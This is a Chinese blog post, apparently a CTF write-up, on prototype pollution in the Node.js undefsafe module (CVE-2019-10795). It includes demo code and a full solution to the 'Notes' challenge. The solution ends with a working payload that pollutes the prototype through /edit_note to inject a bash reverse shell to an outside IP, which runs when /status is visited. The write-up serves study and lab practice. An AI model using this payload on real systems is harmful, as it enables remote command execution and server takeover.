目录

  1. 1. 前言
  2. 2. CVE-2019-10795
  3. 3. 例题:[网鼎杯 2020青龙组]Notes

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Undefsafe模块原型链污染

2023/11/18 Web Nodejs
  |     |   总文章阅读量:

前言

undefsafe 是 Nodejs 的一个第三方模块,其核心为一个简单的函数,用来处理访问对象属性不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞,攻击者可利用该漏洞添加或修改 Object.prototype 属性。

参考:https://www.anquanke.com/post/id/242645?hmsr=joyk.com&utm_source=joyk.com&utm_medium=referral#h2-6

安装

npm install undefsafe@2.0.1

测试:

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.b.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: '123' } } }

可以看到这个模块可以帮我们修改对应属性的值

那当属性不存在的时候,我们也可以利用这个模块来对属性赋值

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object,'a.f.e','123')
console.log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' }, e: '123' } }

访问属性会在上层进行创建并赋值


CVE-2019-10795

通过以上演示我们可知,undefsafe 是一款支持设置值的函数。但是 undefsafe 模块在小于2.0.3版本时,存在原型链污染漏洞

demo(版本2.0.1):

var a = require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'skysec'
        }
    }
};
var payload = "__proto__.toString";
a(object,payload,"evilstring");
console.log(object.toString);
//evilstring

可见,当undefsafe()函数的第 2,3 个参数可控时,我们可以污染object对象中的值,这里原型中的toString方法就被我们污染了

再看一个例子:

var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)	// 将test对象与字符串'this is '进行拼接
// this is just a evil!

可以看到最终输出了 “this is just a evil!”。

这就是因为原型链污染导致,当我们将对象与字符串拼接时,即将对象当做字符串使用时,会自动其触发toString方法。

但由于当前对象中没有,则回溯至原型中寻找,并发现toString方法,同时进行调用,而此时原型中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。


例题:[网鼎杯 2020青龙组]Notes

nss上的环境没给源码,建议去buu做(

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {	
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

审计一下代码,可以知道是用undefsafe模块原型链污染,跟踪undefsafe

get_note(id) {
    var r = {}
    undefsafe(r, id, undefsafe(this.note_list, id));
    return r;
}

edit_note(id, author, raw) {
    undefsafe(this.note_list, id + '.author', author);
    undefsafe(this.note_list, id + '.raw_note', raw);
}

可以发现在查看note和编辑note时会调用undefsafe

跟踪get_note方法

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {	
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

这里发现我们只能控制第二个参数,第三个参数我们是无法控制的,那么暂时不考虑这个方法

跟踪edit_note方法

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

可以发现这里的三个参数id、author、enote(传入的参数是raw)我们都可以控制,那么就在这里进行原型链污染

而在开头我们知道调用了const { exec } = require('child_process');,那么我们的目标就是exec命令执行,找到调用exec的路由

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

那么就有了我们的思路:

通过 /edit_note 路由污染 note_list 对象的原型,比如加入某个命令,由于 commands 和 note_list 都继承自同一个原型,那么在遍历 commands 时便会取到我们污染进去的恶意命令并执行

本地测试一下:

image-20231119111728917

如上图所示我们成功的通过原型链污染给commands对象添加了一个键值对{"a":1}

那么接下来我们就可以开始构造payload进行污染

因为是exec没有回显,所以我们需要反弹shell

/edit_note传入,记得url编码一下author的内容

id=__proto__&author=bash -i >& /dev/tcp/115.236.153.170/57746 0>&1&raw=ciallo

然后访问/status触发命令执行

image-20231119112857192